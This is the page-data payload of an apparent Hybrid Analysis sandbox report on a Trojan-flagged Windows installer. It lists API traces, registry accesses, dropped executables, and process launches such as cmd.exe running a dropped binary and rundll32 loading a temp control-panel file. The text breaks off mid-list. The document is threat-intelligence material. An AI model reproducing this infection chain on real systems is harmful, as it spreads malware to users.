24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 5a:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T491,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample c463eb3a55be… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample c463eb3a55be…. Malware family: Trojan.Generic. Threat score 100/100. 16/28 AV engines flagged this file. 33 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/c463eb3a55bea9c16c13dcda339acc218b69b9b00c3b80f122cda9ad4c768b76","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","c463eb3a55bea9c16c13dcda339acc218b69b9b00c3b80f122cda9ad4c768b76"],"about":{"@type":"SoftwareApplication","name":"Install.exe","applicationCategory":["peexe","64bits","executable"],"identifier":"c463eb3a55bea9c16c13dcda339acc218b69b9b00c3b80f122cda9ad4c768b76","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":16,"total":28},"behavioralIndicators":{"malicious":33,"suspicious":22},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T608,SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00005688-29968-17-00407D98 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00005688-29968-16-00404254 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00005688-29968-252-0040AF17 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00005688-29968-417-0040725C SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00001520-39623-418-0040725C SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00001520-39623-17-00407D98 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00001520-39623-16-00404254 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00001520-39623-251-0040AF17 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00003532-49181-17-00407D98 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00003532-49181-16-00404254 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00003532-49181-251-0040AF17 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00003532-49181-403-0040725C SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00005908-60652-2-00404561 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00005908-60652-9-0040495A SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00005908-65099-117-0040D792 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00005908-65099-576-00404705 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00006364-20225-252-0040AF17 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00006364-20225-16-00404254 SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00006364-20225-17-00407D9826:T448,FindFirstFileA@KERNEL32.DLL at 00000000-00005688-29968-60-00402B30 FindFirstFileA@KERNEL32.DLL at 00000000-00001520-39623-60-00402B30 FindFirstFileA@KERNEL32.DLL at 00000000-00003532-49181-60-00402B30 FindFirstFileW@KERNEL32.DLL at 00000000-00005908-65099-638-003F2AF9 FindNextFileA@KERNEL32.DLL at 00000000-00005908-65099-595-0040FD5E FindFirstFileW@KERNEL32.DLL at 00000000-00005908-65099-1358-0040126E FindFirstFileA@KERNEL32.DLL at 00000000-00006364-20225-60-00402B30 FindNextFileW@KERNEL32.DLL at 00000000-00006608-42940-772-00D5A2C3 FindFirstFileW@KERNEL32.DLL at 00000000-00006608-42940-1535-00D6A544 FindNextFileA@KERNEL32.DLL at 00000000-00006608-42940-1108-00D77DFF FindNextFileA@KERNEL32.DLL at 00000000-00003456-58606-82-004526D0 FindFirstFileA@KERNEL32.DLL at 00000000-00003456-58606-769-0048A778 FindFirstFileA@KERNEL32.DLL at 00000000-00003456-58606-95-00451554 FindFirstFileA@KERNEL32.DLL at 00000000-00003456-58606-2213-00406FEC FindNextFileA@KERNEL32.DLL at 00000000-00003456-58606-1011-0046A180 FindFirstFileA@KERNEL32.DLL at 00000000-00003456-58606-958-0047470827:T485,GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00005688-29968-182-004079EB GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00001520-39623-182-004079EB GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00003532-49181-182-004079EB FileTimeToSystemTime@KERNEL32.DLL at 00000000-00005908-65099-830-003F71E8 GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00005908-65099-467-004047E4 FileTimeToSystemTime@KERNEL32.DLL at 00000000-00005908-65099-1358-0040126E GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00006364-20225-182-004079EB GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00006608-42940-408-00D6DBB8 FileTimeToSystemTime@KERNEL32.DLL at 00000000-00006608-42940-1535-00D6A544 FileTimeToSystemTime@KERNEL32.DLL at 00000000-00006608-42940-820-00D6003E FileTimeToLocalFileTime@KERNEL32.DLL at 00000000-00006608-42940-888-00D5FE0E FileTimeToLocalFileTime@KERNEL32.DLL at 00000000-00003456-58606-2213-00406FEC GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00003456-58606-774-00455B2C FileTimeToSystemTime@KERNEL32.DLL at 00000000-00003456-58606-1025-00466E18 GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00001104-10073-510-010DB53028:T487,GetSystemTime@KERNEL32.DLL at 00000000-00006788-21856-164-0040102C GetSystemTime@KERNEL32.DLL at 00000000-00006788-21856-241-004026C4 GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00005688-29968-182-004079EB GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00001520-39623-182-004079EB GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00003532-49181-182-004079EB GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00005908-65099-467-004047E4 GetLocalTime@KERNEL32.DLL at 00000000-00005908-65099-70-00402EF8 GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00006364-20225-182-004079EB GetLocalTime@KERNEL32.DLL at 00000000-00006608-42940-65-00D6C130 GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00006608-42940-408-00D6DBB8 GetSystemTime@KERNEL32.DLL at 00000000-00006608-42940-818-00D5FFA6 GetLocalTime@KERNEL32.DLL at 00000000-00003456-58606-24-00455814 GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00003456-58606-774-00455B2C GetLocalTime@KERNEL32.DLL at 00000000-00003456-58606-719-004555EC GetSystemTime@KERNEL32.DLL at 00000000-00003456-58606-730-004028A8 GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00001104-10073-510-010DB53029:T532,GetLocaleInfoA@KERNEL32.DLL at 00000000-00006788-21856-106-004051C8 GetLocaleInfoA@KERNEL32.DLL at 00000000-00006788-21856-107-00405214 GetLocaleInfoA@KERNEL32.DLL at 00000000-00005688-29968-137-0040A4C4 GetLocaleInfoA@KERNEL32.DLL at 00000000-00001520-39623-137-0040A4C4 GetLocaleInfoA@KERNEL32.DLL at 00000000-00003532-49181-137-0040A4C4 GetLocaleInfoW@KERNEL32.DLL at 00000000-00005908-65099-1202-0040006D GetLocaleInfoA@KERNEL32.DLL at 00000000-00006364-20225-137-0040A4C4 GetLocaleInfoW@KERNEL32.DLL at 00000000-00006608-42940-1013-00D6932E GetLocaleInfoA@KERNEL32.DLL at 00000000-00003456-58606-865-00408798 GetLocaleInfoA@KERNEL32.DLL at 00000000-00003456-58606-864-0040874C GetUserDefaultLCID@KERNEL32.DLL at 00000000-00001104-10073-338-010E9995 GetLocaleInfoW@KERNEL32.DLL at 00000000-00001104-10073-1139-010F2359 EnumSystemLocalesW@KERNEL32.DLL at 00000000-00001104-10073-379-010F1D69 EnumSystemLocalesW@KERNEL32.DLL at 00000000-00001104-10073-333-010E9434 GetLocaleInfoW@KERNEL32.DLL at 00000000-00001104-10073-1140-010F212F GetLocaleInfoW@KERNEL32.DLL at 00000000-00001104-10073-330-010F1AC7 EnumSystemLocalesW@KERNEL32.DLL at 00000000-00001104-10073-383-010F1DB4 GetLocaleInfoW@KERNEL32.DLL at 00000000-00001104-10073-354-010E9956 GetLocaleInfoW@KERNEL32.DLL at 00000000-00001104-10073-1138-010F1EDC2a:T686,"Install.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "Install.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "InstallUtil.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "mgfDPgPzpR3n3eooxTPENoOw.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "mgfDPgPzpR3n3eooxTPENoOw.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "kjwAiplIbNHDVZjcXieXEHoy.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "C8_Qu2FeVDw2iL7F0qC52rTI.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "mEQEEcMv6bzG8imTAK2Rvxfq.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "TqCmbPDunlWW8L0MzoqQOE05.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "A02FZXMsOhT8vUffJfmsE6xk.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "t1Zbrj1itpE9fbhbR3AqjWey.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "btrAEvAS6d6T6WWPLm9Rs0rW.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "btrAEvAS6d6T6WWPLm9Rs0rW.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED")2b:T5ad,"Install.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "InstallUtil.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "TqCmbPDunlWW8L0MzoqQOE05.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "avg7D0AZJ2JmZ76r0V_45Ags.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "i5NUMaNH2togQeBv7Jyo6PpD.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "h_26wPXBLIlKW3_tlCXuCIgV.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "qiQP6tdXBnQkeYGNMzFcxIa2.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "SxLq4VT9l0e3RpdDKb2p2T_O.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "is-OJFQK.tmp" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "SplitFiles119.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "321.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME")2c:T820,"TqCmbPDunlWW8L0MzoqQOE05.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\CONTROL.EXE") "i5NUMaNH2togQeBv7Jyo6PpD.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\321.EXE") "i5NUMaNH2togQeBv7Jyo6PpD.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\123.EXE") "is-OJFQK.tmp" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{5658D4A9-0240-4952-9F4D-603DA59FF2C1}}_IS1") "is-OJFQK.tmp" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{5658D4A9-0240-4952-9F4D-603DA59FF2C1}}_IS1") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{90140000-001F-0409-1000-0000000FF1CE}"; Key: "DISPLAYVERSION") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{90140000-001F-0409-1000-0000000FF1CE}"; Key: "DISPLAYNAME") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{90140000-001F-0409-1000-0000000FF1CE}") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{90140000-001B-0409-1000-0000000FF1CE}_OFFICE14.PROPLUSR_{EC583796-6BBB-47DD-B9CE-B5DA12D71135}"; Key: "DISPLAYVERSION") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{90140000-001B-0409-1000-0000000FF1CE}_OFFICE14.PROPLUSR_{EC583796-6BBB-47DD-B9CE-B5DA12D71135}"; Key: "DISPLAYNAME") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{90140000-001B-0409-1000-0000000FF1CE}_OFFICE14.PROPLUSR_{EC583796-6BBB-47DD-B9CE-B5DA12D71135}") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{90140000-001B-0409-1000-0000000FF1CE}"; Key: "DISPLAYVERSION") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{90140000-001B-0409-1000-0000000FF1CE}"; Key: "DISPLAYNAME") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{90140000-001B-0409-1000-0000000FF1CE}")2d:T552,"InstallUtil.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "A053375BFE84E8B748782C7CEE15827A6AF5A405") "InstallUtil.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "InstallUtil.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "A053375BFE84E8B748782C7CEE15827A6AF5A405") "InstallUtil.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "InstallUtil.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "349C385FF8E330F20EAD733CD36FB435FEE0B403") "InstallUtil.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "349C385FF8E330F20EAD733CD36FB435FEE0B403") "InstallUtil.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "08745487E891C19E3078C1F2A07E452950EF36F6") "InstallUtil.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "08745487E891C19E3078C1F2A07E452950EF36F6") "InstallUtil.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "B3DD7606D2B5A8B4A13771DBECC9EE1CECAFA38A") "InstallUtil.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "B3DD7606D2B5A8B4A13771DBECC9EE1CECAFA38A")2e:T436,"InstallUtil.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\CABD2A79A1076A31F21D253635CB039D4329A5E8"; Key: "BLOB") "InstallUtil.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES"; Key: "CABD2A79A1076A31F21D253635CB039D4329A5E8") "InstallUtil.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "CABD2A79A1076A31F21D253635CB039D4329A5E8") "InstallUtil.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "A053375BFE84E8B748782C7CEE15827A6AF5A405") "InstallUtil.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\FLIGHTROOT\CERTIFICATES"; Key: "A053375BFE84E8B748782C7CEE15827A6AF5A405") "InstallUtil.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES"; Key: "A053375BFE84E8B748782C7CEE15827A6AF5A405") "InstallUtil.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "A053375BFE84E8B748782C7CEE15827A6AF5A405") "InstallUtil.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "")2f:T657,"mgfDPgPzpR3n3eooxTPENoOw.exe" called "CreateDirectoryA" with parameter C:\Users\iU35TUU\AppData\Local\Temp\is-QA9VR.tmp (UID: 00000000-00006788) "TqCmbPDunlWW8L0MzoqQOE05.exe" called "CreateDirectoryW" with parameter C:\Users (UID: 00000000-00005908) "TqCmbPDunlWW8L0MzoqQOE05.exe" called "CreateDirectoryW" with parameter C:\Users\iU35TUU (UID: 00000000-00005908) "TqCmbPDunlWW8L0MzoqQOE05.exe" called "CreateDirectoryW" with parameter C:\Users\iU35TUU\AppData (UID: 00000000-00005908) "TqCmbPDunlWW8L0MzoqQOE05.exe" called "CreateDirectoryW" with parameter C:\Users\iU35TUU\AppData\Local (UID: 00000000-00005908) "TqCmbPDunlWW8L0MzoqQOE05.exe" called "CreateDirectoryW" with parameter C:\Users\iU35TUU\AppData\Local\Temp (UID: 00000000-00005908) "A02FZXMsOhT8vUffJfmsE6xk.exe" called "CreateDirectoryA" with parameter C:\Program Files (x86)\PowerControl (UID: 00000000-00006996) "i5NUMaNH2togQeBv7Jyo6PpD.exe" called "CreateDirectoryW" with parameter C:\Windows (UID: 00000000-00006608) "i5NUMaNH2togQeBv7Jyo6PpD.exe" called "CreateDirectoryW" with parameter C:\Windows\Temp (UID: 00000000-00006608) "is-OJFQK.tmp" called "CreateDirectoryA" with parameter C:\Users\iU35TUU\AppData\Local\Temp\is-KQK8Q.tmp (UID: 00000000-00003456) "is-OJFQK.tmp" called "CreateDirectoryA" with parameter C:\Users\iU35TUU\AppData\Local\Temp\is-KQK8Q.tmp\_isetup (UID: 00000000-00003456) "is-OJFQK.tmp" called "CreateDirectoryA" with parameter C:\Program Files (x86)\Split Files (UID: 00000000-00003456) "is-OJFQK.tmp" called "CreateDirectoryA" with parameter C:\Program Files (x86)\Split Files\language (UID: 00000000-00003456)30:T7cd,"InstallUtil.exe" called "CreateProcessW" with parameter ""C:\Users\iU35TUU\Pictures\Minor Policy\btrAEvAS6d6T6WWPLm9Rs0rW.exe" " - (UID: 00000000-00007824) "InstallUtil.exe" called "CreateProcessW" with parameter ""C:\Users\iU35TUU\Pictures\Minor Policy\h_26wPXBLIlKW3_tlCXuCIgV.exe" " - (UID: 00000000-00007824) "InstallUtil.exe" called "CreateProcessW" with parameter ""C:\Users\iU35TUU\Pictures\Minor Policy\qiQP6tdXBnQkeYGNMzFcxIa2.exe" " - (UID: 00000000-00007824) "InstallUtil.exe" called "CreateProcessW" with parameter ""C:\Users\iU35TUU\Pictures\Minor Policy\SxLq4VT9l0e3RpdDKb2p2T_O.exe" " - (UID: 00000000-00007824) "mgfDPgPzpR3n3eooxTPENoOw.exe" called "CreateProcessA" with parameter ""C:\Users\iU35TUU\AppData\Local\Temp\is-QA9VR.tmp\is-OJFQK.tmp" /SL4 $7026A "C:\Users\iU35TUU\Pictures\Minor Policy\mgfDPgPzpR3n3eooxTPENoOw.exe" 1568921 96256 " - (UID: 00000000-00006788) "btrAEvAS6d6T6WWPLm9Rs0rW.exe" called "CreateProcessW" with parameter "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" - (UID: 00000000-00002584) "i5NUMaNH2togQeBv7Jyo6PpD.exe" called "CreateProcessW" with parameter ""C:\Windows\Temp\123.exe" " - (UID: 00000000-00006608) "i5NUMaNH2togQeBv7Jyo6PpD.exe" called "CreateProcessW" with parameter ""C:\Windows\Temp\321.exe" " - (UID: 00000000-00006608) "is-OJFQK.tmp" called "CreateProcessA" with parameter ""C:\Program Files (x86)\Split Files\SplitFiles119.exe" " - (UID: 00000000-00003456) "control.exe" called "CreateProcessW" with parameter ""C:\WINDOWS\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\iU35TUU\AppData\Local\Temp\Ae0C.CpL"," - (UID: 00000000-00002676) "321.exe" called "CreateProcessA" with parameter "C:\WINDOWS\system32\cmd.exe /c C:\Users\iU35TUU\AppData\Roaming\bebra.exe" - (UID: 00000000-00004088) "RunDll32.exe" called "CreateProcessW" with parameter ""C:\WINDOWS\SysWOW64\rundll32.exe" "C:\WINDOWS\SysWOW64\shell32.dll",#44 "C:\Users\iU35TUU\AppData\Local\Temp\Ae0C.CpL"," - (UID: 00000000-00002040)31:T466,Sleep@KERNEL32.DLL at 00000000-00006788-21856-307-0040900C Sleep@KERNEL32.DLL at 00000000-00005688-29968-10-00406A6D Sleep@KERNEL32.DLL at 00000000-00005688-29968-152-0040843E Sleep@KERNEL32.DLL at 00000000-00005688-29968-52-004083AD Sleep@KERNEL32.DLL at 00000000-00005688-29968-36-004083F2 Sleep@KERNEL32.DLL at 00000000-00001520-39623-152-0040843E Sleep@KERNEL32.DLL at 00000000-00001520-39623-52-004083AD Sleep@KERNEL32.DLL at 00000000-00001520-39623-36-004083F2 Sleep@KERNEL32.DLL at 00000000-00001520-39623-10-00406A6D Sleep@KERNEL32.DLL at 00000000-00003532-49181-36-004083F2 Sleep@KERNEL32.DLL at 00000000-00003532-49181-52-004083AD Sleep@KERNEL32.DLL at 00000000-00003532-49181-10-00406A6D Sleep@KERNEL32.DLL at 00000000-00003532-49181-152-0040843E Sleep@KERNEL32.DLL at 00000000-00005908-65099-70-00402EF8 Sleep@KERNEL32.DLL at 00000000-00005908-65099-626-00400830 Sleep@KERNEL32.DLL at 00000000-00005908-65099-422-003F6B8F Sleep@KERNEL32.DLL at 00000000-00006364-20225-152-0040843E Sleep@KERNEL32.DLL at 00000000-00006364-20225-36-004083F2 Sleep@KERNEL32.DLL at 00000000-00006364-20225-10-00406A6D32:T40b,Found GetProcAddress() and LoadLibraryA() in an import section (Source: 321.EXE.63A6FA31.bin) Found GetProcAddress() and LoadLibraryA() in an import section (Source: t1Zbrj1itpE9fbhbR3AqjWey.exe) Found GetProcAddress() and LoadLibraryA() in an import section (Source: nss3.dll) Found GetProcAddress() and LoadLibraryA() in an import section (Source: WNst4DDcz7SNmvPN7EHhdVA3.exe) Found GetProcAddress() and LoadLibraryA() in an import section (Source: 6523_1_.exe) Found GetProcAddress() and LoadLibraryA() in an import section (Source: C8_Qu2FeVDw2iL7F0qC52rTI.exe) Found GetProcAddress() and LoadLibraryA() in an import section (Source: sqlite3.dll) Found GetProcAddress() and LoadLibraryA() in an import section (Source: btrAEvAS6d6T6WWPLm9Rs0rW.exe) Found GetProcAddress() and LoadLibraryA() in an import section (Source: softwinx86_1_.exe) Found GetProcAddress() and LoadLibraryA() in an import section (Source: nnmmo1115_1_.exe) Found GetProcAddress() and LoadLibraryA() in an import section (Source: SplitFiles119.exe)33:T469,LoadLibraryA@KERNEL32.DLL at 00000000-00005688-29968-60-00402B30 LoadLibraryA@KERNEL32.DLL at 00000000-00005688-29968-13-00409FEF LoadLibraryA@KERNEL32.DLL at 00000000-00005688-29968-62-0040272A LoadLibraryA@KERNEL32.DLL at 00000000-00005688-29968-67-00402A20 LoadLibraryA@KERNEL32.DLL at 00000000-00001520-39623-62-0040272A LoadLibraryA@KERNEL32.DLL at 00000000-00001520-39623-13-00409FEF LoadLibraryA@KERNEL32.DLL at 00000000-00001520-39623-67-00402A20 LoadLibraryA@KERNEL32.DLL at 00000000-00001520-39623-60-00402B30 LoadLibraryA@KERNEL32.DLL at 00000000-00003532-49181-67-00402A20 LoadLibraryA@KERNEL32.DLL at 00000000-00003532-49181-60-00402B30 LoadLibraryA@KERNEL32.DLL at 00000000-00003532-49181-13-00409FEF LoadLibraryA@KERNEL32.DLL at 00000000-00003532-49181-62-0040272A LoadLibraryExW@KERNEL32.DLL at 00000000-00005908-65099-16-0040F6B4 LoadLibraryW@KERNEL32.DLL at 00000000-00005908-65099-418-003F6B47 LoadLibraryExA@KERNEL32.DLL at 00000000-00005908-65099-1214-004037BA LoadLibraryExW@KERNEL32.DLL at 00000000-00005908-65099-64-004084F7 LoadLibraryA@KERNEL32.DLL at 00000000-00006364-20225-13-00409FEF34:T7a0,"softokn3.dll" contains export function called "C_GetFunctionList" at ordinal 1 "softokn3.dll" contains export function called "C_GetInterface" at ordinal 2 "softokn3.dll" contains export function called "C_GetInterfaceList" at ordinal 3 "softokn3.dll" contains export function called "FC_GetFunctionList" at ordinal 4 "softokn3.dll" contains export function called "FC_GetInterface" at ordinal 5 "softokn3.dll" contains export function called "FC_GetInterfaceList" at ordinal 6 "softokn3.dll" contains export function called "NSC_GetFunctionList" at ordinal 7 "softokn3.dll" contains export function called "NSC_GetInterface" at ordinal 8 "softokn3.dll" contains export function called "NSC_GetInterfaceList" at ordinal 9 "softokn3.dll" contains export function called "NSC_ModuleDBFunc" at ordinal 10 "freebl3.dll" contains export function called "FREEBL_GetVector" at ordinal 1 "msvcp140.dll" contains export function called "??$_Getvals@_W@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@IAEX_WABV_Locinfo@1@@Z" at ordinal 1 "msvcp140.dll" contains export function called "??$_Getvals@_W@?$time_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@IAEX_WABV_Locinfo@1@@Z" at ordinal 2 "msvcp140.dll" contains export function called "??$_Getvals@_W@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@IAEX_WABV_Locinfo@1@@Z" at ordinal 3 "msvcp140.dll" contains export function called "??0?$_Yarn@D@std@@QAE@ABV01@@Z" at ordinal 4 "msvcp140.dll" contains export function called "??0?$_Yarn@D@std@@QAE@PBD@Z" at ordinal 5 "msvcp140.dll" contains export function called "??0?$_Yarn@D@std@@QAE@XZ" at ordinal 6 "msvcp140.dll" contains export function called 